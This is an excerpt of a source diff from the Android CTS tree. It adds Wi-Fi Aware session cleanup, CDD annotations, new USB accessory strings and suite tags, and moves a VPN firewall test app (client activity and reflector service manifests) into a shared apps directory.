AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
index 9c60737..2f89ec6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
@@ -31,6 +31,8 @@
import android.widget.TextView;
+import com.android.compatibility.common.util.CddTest;
+
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -41,6 +43,7 @@
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
+@CddTest(requirement="7.9.1/H-2-1")
public class VrListenerVerifierActivity extends PassFailButtons.Activity {
private static final String TAG = "VrListenerActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
index 635d066..5f64f02 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -22,6 +22,7 @@
import android.net.ConnectivityManager;
import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
+import android.net.wifi.aware.DiscoverySession;
import android.net.wifi.aware.PeerHandle;
import android.net.wifi.aware.PublishConfig;
import android.net.wifi.aware.PublishDiscoverySession;
@@ -89,6 +90,7 @@
private String mFailureReason;
private WifiAwareSession mWifiAwareSession;
+ private DiscoverySession mWifiAwareDiscoverySession;
public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
boolean isUnsolicited) {
@@ -153,6 +155,10 @@
@Override
protected void tearDown() {
+ if (mWifiAwareDiscoverySession != null) {
+ mWifiAwareDiscoverySession.close();
+ mWifiAwareDiscoverySession = null;
+ }
if (mWifiAwareSession != null) {
mWifiAwareSession.close();
mWifiAwareSession = null;
@@ -191,6 +197,7 @@
return false;
}
SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
Log.e(TAG, "executeTestSubscriber: subscribe succeeded but null session returned");
@@ -305,6 +312,7 @@
// 7. destroy session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
return true;
@@ -340,6 +348,7 @@
return false;
}
PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
Log.e(TAG, "executeTestPublisher: publish succeeded but null session returned");
@@ -420,6 +429,7 @@
// 7. destroy session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
return true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
index b054781..0f81d2c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
@@ -22,6 +22,7 @@
import android.net.ConnectivityManager;
import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
+import android.net.wifi.aware.DiscoverySession;
import android.net.wifi.aware.PeerHandle;
import android.net.wifi.aware.PublishConfig;
import android.net.wifi.aware.PublishDiscoverySession;
@@ -92,6 +93,7 @@
private String mFailureReason;
private WifiAwareSession mWifiAwareSession;
+ private DiscoverySession mWifiAwareDiscoverySession;
private byte[] mDiscoveryMac;
public DataPathOutOfBandTestCase(Context context, boolean isSecurityOpen,
@@ -168,6 +170,10 @@
@Override
protected void tearDown() {
+ if (mWifiAwareDiscoverySession != null) {
+ mWifiAwareDiscoverySession.close();
+ mWifiAwareDiscoverySession = null;
+ }
if (mWifiAwareSession != null) {
mWifiAwareSession.close();
mWifiAwareSession = null;
@@ -200,6 +206,7 @@
return false;
}
PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
Log.e(TAG, "executeTestResponder: publish succeeded but null session returned");
@@ -261,6 +268,7 @@
// 5. Destroy discovery session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
// 6. Request network (as Responder) and wait for network
ConnectivityManager cm = (ConnectivityManager) mContext.getSystemService(
@@ -315,6 +323,7 @@
return false;
}
SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
Log.e(TAG, "executeTestInitiator: subscribe succeeded but null session returned");
@@ -388,6 +397,7 @@
// 6. Destroy discovery session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
// 7. Sleep for 5 seconds to let Responder time to set up
mListener.onTestMsgReceived(
diff --git a/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
index b511879..13f29c7 100644
--- a/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
+++ b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
@@ -15,5 +15,5 @@
limitations under the License.
-->
<resources>
- <usb-accessory />
+ <usb-accessory manufacturer="Android CTS" model="Android device under CTS test" version="2" />
</resources>
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
index 0bf8ca2..ac025d1 100644
--- a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
@@ -341,12 +341,12 @@
*/
private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
- "Android");
+ "Android CTS");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
- "Android device");
+ "Android CTS test companion device");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
"Android device running CTS verifier");
- AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+ AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "2");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
"https://source.android.com/compatibility/cts/verifier.html");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
diff --git a/apps/EmptyDeviceAdmin/Android.mk b/apps/EmptyDeviceAdmin/Android.mk
index 6ee3943..1d68fbb 100644
--- a/apps/EmptyDeviceAdmin/Android.mk
+++ b/apps/EmptyDeviceAdmin/Android.mk
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/apps/PermissionApp/Android.mk b/apps/PermissionApp/Android.mk
index 50b1759..f22ecc3 100644
--- a/apps/PermissionApp/Android.mk
+++ b/apps/PermissionApp/Android.mk
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/Android.mk b/apps/VpnApp/Android.mk
new file mode 100644
index 0000000..cb223a3
--- /dev/null
+++ b/apps/VpnApp/Android.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
new file mode 100644
index 0000000..9f3f2e7
--- /dev/null
+++ b/apps/VpnApp/api23/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppApi23
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/api23/AndroidManifest.xml b/apps/VpnApp/api23/AndroidManifest.xml
new file mode 100644
index 0000000..b00e1a5
--- /dev/null
+++ b/apps/VpnApp/api23/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="23"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
new file mode 100644
index 0000000..fc2761c
--- /dev/null
+++ b/apps/VpnApp/api24/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppApi24
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/api24/AndroidManifest.xml b/apps/VpnApp/api24/AndroidManifest.xml
new file mode 100644
index 0000000..c0c0df6
--- /dev/null
+++ b/apps/VpnApp/api24/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="24"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <!-- Dummy entry below to test the default value of always-on opt-opt flag -->
+ <meta-data android:name="dummy-name" android:value="dummy-value"/>
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
new file mode 100644
index 0000000..a8db2d2
--- /dev/null
+++ b/apps/VpnApp/latest/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/latest/AndroidManifest.xml b/apps/VpnApp/latest/AndroidManifest.xml
new file mode 100644
index 0000000..6cc706f
--- /dev/null
+++ b/apps/VpnApp/latest/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
new file mode 100644
index 0000000..cc1bfec
--- /dev/null
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppNotAlwaysOn
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
new file mode 100644
index 0000000..fc250aa
--- /dev/null
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ <meta-data android:name="android.net.VpnService.SUPPORTS_ALWAYS_ON"
+ android:value="false"/>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/res/layout/vpn_client.xml b/apps/VpnApp/res/layout/vpn_client.xml
new file mode 100644
index 0000000..a3a14ae
--- /dev/null
+++ b/apps/VpnApp/res/layout/vpn_client.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+ <LinearLayout android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical"
+ android:padding="3mm">
+ <Button style="@style/item" android:id="@+id/connect" android:text="@string/connect"/>
+ </LinearLayout>
+</ScrollView>
diff --git a/apps/VpnApp/res/values/strings.xml b/apps/VpnApp/res/values/strings.xml
new file mode 100644
index 0000000..ec86c71
--- /dev/null
+++ b/apps/VpnApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="app">CtsVpnFirewallApp</string>
+ <string name="connect">Connect!</string>
+</resources>
diff --git a/apps/VpnApp/res/values/styles.xml b/apps/VpnApp/res/values/styles.xml
new file mode 100644
index 0000000..6f4011b
--- /dev/null
+++ b/apps/VpnApp/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <style name="item">
+ <item name="android:layout_width">match_parent</item>
+ <item name="android:layout_height">wrap_content</item>
+ <item name="android:textAppearance">?android:attr/textAppearanceMedium</item>
+ <item name="android:singleLine">true</item>
+ </style>
+</resources>
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/Rfc1071.java
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
new file mode 100644
index 0000000..e4577a5
--- /dev/null
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.vpnfirewall;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.VpnService;
+import android.os.Bundle;
+
+public class VpnClient extends Activity {
+
+ public static final String ACTION_CONNECT_AND_FINISH =
+ "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+
+ private static final int REQUEST_CONNECT = 0;
+ private static final int REQUEST_CONNECT_AND_FINISH = 1;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.vpn_client);
+
+ if (ACTION_CONNECT_AND_FINISH.equals(getIntent().getAction())) {
+ prepareAndStart(REQUEST_CONNECT_AND_FINISH);
+ }
+ findViewById(R.id.connect).setOnClickListener(v -> prepareAndStart(REQUEST_CONNECT));
+ }
+
+ @Override
+ protected void onActivityResult(int request, int result, Intent data) {
+ if (result == RESULT_OK) {
+ startService(new Intent(this, ReflectorVpnService.class));
+ }
+ if (request == REQUEST_CONNECT_AND_FINISH) {
+ finish();
+ }
+ }
+
+ private void prepareAndStart(int requestCode) {
+ Intent intent = VpnService.prepare(VpnClient.this);
+ if (intent != null) {
+ startActivityForResult(intent, requestCode);
+ } else {
+ onActivityResult(requestCode, RESULT_OK, null);
+ }
+ }
+}
diff --git a/build/compatibility_test_suite.mk b/build/compatibility_test_suite.mk
index 7cdd220..d133c3e 100644
--- a/build/compatibility_test_suite.mk
+++ b/build/compatibility_test_suite.mk
@@ -16,25 +16,21 @@
# Builds a compatibility test suite.
#
-# Generate the SuiteInfo.java
-suite_info_java := $(call intermediates-dir-for,JAVA_LIBRARIES,$(LOCAL_MODULE),true,COMMON)/com/android/compatibility/SuiteInfo.java
-$(suite_info_java): PRIVATE_SUITE_BUILD_NUMBER := $(LOCAL_SUITE_BUILD_NUMBER)
-$(suite_info_java): PRIVATE_SUITE_TARGET_ARCH := $(LOCAL_SUITE_TARGET_ARCH)
-$(suite_info_java): PRIVATE_SUITE_NAME := $(LOCAL_SUITE_NAME)
-$(suite_info_java): PRIVATE_SUITE_FULLNAME := $(LOCAL_SUITE_FULLNAME)
-$(suite_info_java): PRIVATE_SUITE_VERSION := $(LOCAL_SUITE_VERSION)
-$(suite_info_java): cts/build/compatibility_test_suite.mk $(LOCAL_MODULE_MAKEFILE)
+# Generate suite info property file
+suite_info_prop := $(call intermediates-dir-for,JAVA_LIBRARIES,$(LOCAL_MODULE),true,COMMON)/test-suite-info.properties
+$(suite_info_prop): PRIVATE_SUITE_BUILD_NUMBER := $(LOCAL_SUITE_BUILD_NUMBER)
+$(suite_info_prop): PRIVATE_SUITE_TARGET_ARCH := $(LOCAL_SUITE_TARGET_ARCH)
+$(suite_info_prop): PRIVATE_SUITE_NAME := $(LOCAL_SUITE_NAME)
+$(suite_info_prop): PRIVATE_SUITE_FULLNAME := $(LOCAL_SUITE_FULLNAME)
+$(suite_info_prop): PRIVATE_SUITE_VERSION := $(LOCAL_SUITE_VERSION)
+$(suite_info_prop): cts/build/compatibility_test_suite.mk $(LOCAL_MODULE_MAKEFILE)
@echo Generating: $@
- $(hide) mkdir -p $(dir $@)
- $(hide) echo "/* This file is auto generated by Android.mk. Do not modify. */" > $@
- $(hide) echo "package com.android.compatibility;" >> $@
- $(hide) echo "public class SuiteInfo {" >> $@
- $(hide) echo " public static final String BUILD_NUMBER = \"$(PRIVATE_SUITE_BUILD_NUMBER)\";" >> $@
- $(hide) echo " public static final String TARGET_ARCH = \"$(PRIVATE_SUITE_TARGET_ARCH)\";" >> $@
- $(hide) echo " public static final String NAME = \"$(PRIVATE_SUITE_NAME)\";" >> $@
- $(hide) echo " public static final String FULLNAME = \"$(PRIVATE_SUITE_FULLNAME)\";" >> $@
- $(hide) echo " public static final String VERSION = \"$(PRIVATE_SUITE_VERSION)\";" >> $@
- $(hide) echo "}" >> $@
+ $(hide) echo "# This file is auto generated by Android.mk. Do not modify." > $@
